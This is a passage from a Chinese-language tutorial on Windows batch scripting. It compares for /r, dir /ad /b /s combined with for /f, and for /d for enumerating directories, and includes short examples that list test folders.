要是“元素集合”不是点号呢?那又如何?
来看看这个代码:
[code22]
@echo off
for /r d:\test %%i in (a b c) do echo %%i
pause
前面已经说过,当列举目录时,for /r 和 dir /ad /b /s 的效果是非常类似的,这就产生了一个问题:当我要获取目录路径并进行进一步处理的时候,两者之间,我该如何选择?
这个问题,前面其实已经有过一些讨论,现在我们再来作详细的分析。
我们来看一下两者各自的优缺点:
1、for /r:
1)优点:
① 只通过1条语句就可以同时实现获取目录路径和处理目录路径的操作;
② 遍历文件夹的时候,是边列举边处理的,获取到一条路径就处理一条路径,内存占用小,处理大量路径的时候不会产生停顿感;
2)缺点:
① 不能获取到带隐藏属性的目录,会产生遗漏;
② 不能获取带指定属性的目录
2、dir /ad /s:
1)优点:
① 能一次性获取带任意属性的目录,不会产生遗漏;
② 能通过指定不同的参数获取带任意属性的目录,更具灵活性。
2)缺点:
① dir /ad /s 语句仅能获取到目录路径,若要实现进一步的处理,还需要嵌入 for /f 语句中才能实现,写法不够简洁;
② 嵌入 for /f 语句之后,需要写成 for /f "delims=" %%i in ('dir /ad /b /s') do …… 的格式,受 for /f 语句运行机制的制约,需要先列举完所有的路径放入内存之后,才能对每一条路径进行进一步的处理,处理大量路径时,内存占用量偏大,并且在前期会产生明显的停顿感,用户体验度不够好;
综合上述分析,可以做出如下选择:
1、若仅仅是为了获取某文件夹及其所有子文件夹的路径的话,请选择 dir /ad /b /s 语句;
2、若需要过滤带隐藏属性的文件夹的话,for /r 和 dir 语句都可以实现,但 for /r 内存占用小,处理速度快,是上上之选;
3、若需要获取所有文件夹,则除了 dir /ad /b /s 外,别无选择,因为 for /r 语句会遗漏带隐藏属性的文件夹;
在实际的使用中,我更喜欢使用 for /f 和 dir 的组合,因为它不会产生遗漏,并能给我带来更灵活的处理方式,唯一需要忍受的,就是它在处理大量路径时前期的停顿感,以及在这背后稍微有点偏高的内存占用;在我追求速度且可以忽略带隐藏属性的目录的时候,我会换用 for /r 的方案,不过这样的情形不多——有谁会愿意为了追求速度而容忍遗漏呢?
五、仅仅为了匹配第一层目录而存在:for /d
for /d 中 /d ,完整的含义是 /directory,本意是为了处理文件夹,它的完整语句应该是这样的:
Quote:
for /d %%i in (元素集合) do 命令语句集合
当“元素集合”中包含有通配符?或*时,它会匹配文件夹,但是,相比 for /r 而言,这个时候的for /d,其作用就小得可怜了:它仅能匹配当前目录下的第一级文件夹,或是指定位置上的文件夹,而不能匹配更深层次的子文件夹。
例如:for /d %%i in (d:\test*) do echo %%i 这样的语句 ,会匹配到形如:d:\test、d:\test1、d:\test2之类的文件夹,若不存在这样的路径,将不会有任何回显。
当“元素集合”中不包含任何的通配符时,它的作用和 "for %%i in (元素集合) do 命令语句集合" 这样的语句别无二致。
因此,for /d 的角色就变得很微妙了:当“元素集合”中包含通配符?或*时,它的作用就是匹配文件夹,此时,它仅能匹配当前目录下的第一级文件夹,或是指定位置上的文件夹,在层次深度上不及 for /r,但和 for /r 一样的坏脾气:不能匹配带隐藏属性的文件夹;在灵活性上不及for /f和dir的组合;当“元素集合”中不包含任何统配符的时候,它完全是 "for %%i in (元素集合) do ……" 语句的翻版,但是又稍显复杂。
for /d 的作用是如此有限,我使用的次数是如此之少,以至于我一度找不到它的用武之地,认为它食之无味,弃之可惜,完全是鸡肋一块。
某年某月,我在cmd窗口里写下了这样的代码:
[code24]
for /d %i in (test*) do @echo %i
我的本意是想查看在我的临时目录下,长年累月的测试工作到底建立了多少测试文件夹,以便我随后把echo换成rd删除之。这个时候,我发现这条代码是如此的简洁,是 for /r 或 for和 dir /ad /b 的组合所无法替代的(echo换成rd就可以直接删除掉这些测试目录)。